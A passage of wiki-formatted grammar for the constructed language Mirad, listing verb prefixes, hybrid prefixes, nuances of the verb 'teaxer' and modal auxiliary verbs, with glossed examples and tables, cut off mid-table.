::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
